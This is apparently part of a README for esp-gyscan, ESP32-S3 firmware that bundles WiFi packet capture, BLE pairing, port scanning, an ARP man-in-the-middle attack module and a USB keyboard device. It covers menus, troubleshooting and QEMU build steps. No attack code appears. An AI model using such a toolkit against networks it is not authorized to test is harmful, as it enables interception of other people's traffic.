│ ├── lua/lua_pcap.c / .h # 内置 Lua pcap 模块(WiFi 混杂模式抓包, 无需 libpcap)
│ ├── lua/lua_ble.c / .h # 内置 Lua BLE 模块(NimBLE 扫描/配对, 无需 luarocks)
│ ├── net_scan.c / .h # 网段/端口扫描
│ └── arp_mitm.c / .h # ARP 中间人(ARP MITM)攻击
├── freeclient/ # gyscan 主程序(Go, cobra CLI)
└── .gitignore
----- 欢迎使用esp-gyscan---- ← 顶部实时显示
网络:已连接 MyWiFi (192.168.1.5)
蓝牙:BLE 已就绪
内存:xxx KB / xxx KB
储存(Flash):8 MB ← N8R8=8MB,N16R8=16MB(自动探测)
---- 主菜单----
> WiFi 设置
蓝牙设置
边缘安全
Lua 脚本 ← 运行/删除脚本、查看脚本存储(自动介质)
TF 卡设置
语言 ← 主菜单语言切换(中文 / English)
- 语言切换:主菜单 → 语言 → 中文/English,全部界面实时切换
- 欢迎信息状态:网络(WiFi 连接/SSID/IP)、蓝牙状态实时显示
- 蓝牙配对可取消:扫描/连接/配对阶段均可用
ESC取消
- USB 键盘未枚举:用 USB 线连接 ESP32-S3 的 USB-OTG 口(不是串口口)到电脑; 电脑应识别到 "gyscan Keyboard" 输入设备
- curl 无法访问:确认 ESP 已连上 WiFi、手机/电脑与 ESP 在同一局域网; 菜单 → "HTTP 状态" 可查看 IP 与服务器状态
- WS2812 灯珠不亮:确认开发板版本对应的 GPIO(v1.0=48, v1.1+=38)
- 蓝牙探测无结果:确认周围存在正在广播的 BLE 设备;可调大"蓝牙扫描时长"
- 烧录失败:检查串口设备号(
ls /dev/ttyUSB*//dev/ttyACM*),并按住开发板BOOT键再上电进入下载模式
可用 QEMU 运行本固件,主要用于测试菜单交互与 gyscan 控制协议
(QEMU 按 8MB/N8R8 布局模拟;TF 卡不可用时文件存储走内存 RAM,若启用
CONFIG_ETH_USE_OPENETH 场景需要模拟持久化,可把文件放到分区表的
storage(spiffs) 分区):
./tools/build.sh 8m qemu monitor # 构建(8m) + QEMU monitorQEMU 模拟限制说明(固件已做容错,不影响菜单运行):
| 功能 | QEMU 支持 | 说明 |
|---|---|---|
| 菜单交互 | ✅ | WASD/方向键/ESC/Enter 均可操作 |
| 网络(以太网) | ✅ | 默认开启 openeth,见下方"QEMU 网络" |
| USB HID 键盘 | ❌ | QEMU 不模拟 USB-OTG,后台自动跳过(不再报错) |
| WS2812 LED | ❌ | QEMU 不模拟 RMT,后台自动跳过 |
| WiFi | ❌ | QEMU 无 WiFi 射频,固件自动转入以太网 |
若需在 QEMU 下完全关闭 USB HID 报错日志,可在 menuconfig 中 关闭 gyscan Configuration → 启用 USB HID 键盘设备(
CONFIG_GYSCAN_ENABLE_USB_HID)。
QEMU 的 -nic user,model=open_eth 模拟的是以太网卡(不是 WiFi),
因此固件内置了 QEMU 专用网卡驱动(eth_netif.c,OpenCores MAC):
# 1) QEMU 以太网已默认开启(sdkconfig 已含 CONFIG_ETH_USE_OPENETH=y)。
# 真机无 EMAC,请勿在真机固件开启此项;如需关闭:
idf.py menuconfig
# → Component config → Ethernet → Support OpenCores Ethernet MAC (for use with QEMU) ☑
# (等效:sdkconfig 写入/移除 CONFIG_ETH_USE_OPENETH=y)
# 2) 构建 + 带网卡与端口转发启动(推荐:tools/build.sh 8m qemu 直接带转发)
# QEMU 使用 8MB(N8R8) 布局(build-8m);真机请勿开启 openeth
./tools/build.sh 8m qemu --qemu-extra-args="-nic user,model=open_eth,hostfwd=tcp::1234-:1234,hostfwd=tcp::8080-:80"
# 3) 或手动启动 QEMU
QEMU=~/.espressif/tools/qemu-xtensa/*/qemu/bin/qemu-system-xtensa
$QEMU -M esp32s3 -m 32M \
-drive file=build-8m/qemu_flash.bin,if=mtd,format=raw \
-global driver=timer.esp32s3.timg,property=wdt_disable,value=true \
-nic user,model=open_eth,hostfwd=tcp::1234-:1234,hostfwd=tcp::8080-:80 \
-nographic -serial tcp::5555,server启动后固件会自动:WiFi 尝试 + 以太网(openeth)并行,以太网拿到 DHCP IP 后即启动 HTTP(80) 与 gyscan 控制(1234)。宿主机经转发访问:
hostfwd 必须带:QEMU user 网络下宿主机无法直接访问客户机 IP(10.0.2.15), 只能通过
hostfwd转发访问客户机的端口。
curl http://127.0.0.1:8080/ # → ESP-GYscan:ok(可被 gyscan 连接)
printf 'hello\r\n' | nc 127.0.0.1 1234 # → OK hello espgyscan说明:真机(ESP32-S3 无 EMAC 外设)请保持
CONFIG_ETH_USE_OPENETH=n, openeth 仅用于 QEMU。若在 QEMU 下发现 TCP 数据面异常,属模拟器限制, 可在真实硬件上验证。
| 现象 | 说明 |
|---|---|
串口出现 Failed to add multicast filter 等 E 日志 |
openeth 无硬件组播地址过滤,lwIP 组播加过滤必然失败,无害 |
DHCP 已拿到 IP 但始终无 Ethernet Got IP 日志 |
QEMU 下 esp_event 事件循环可能不再调度 IP_EVENT_ETH_GOT_IP;固件会直接轮询 netif IP(eth_has_ip())兑底,HTTP/1234 服务照常启动 |
| 主界面网络一栏显示“未启用/未连接” | 状态在按键刷新时重绘;以太网就绪后按任意键即显示 已连接 以太网 (10.0.2.15) |



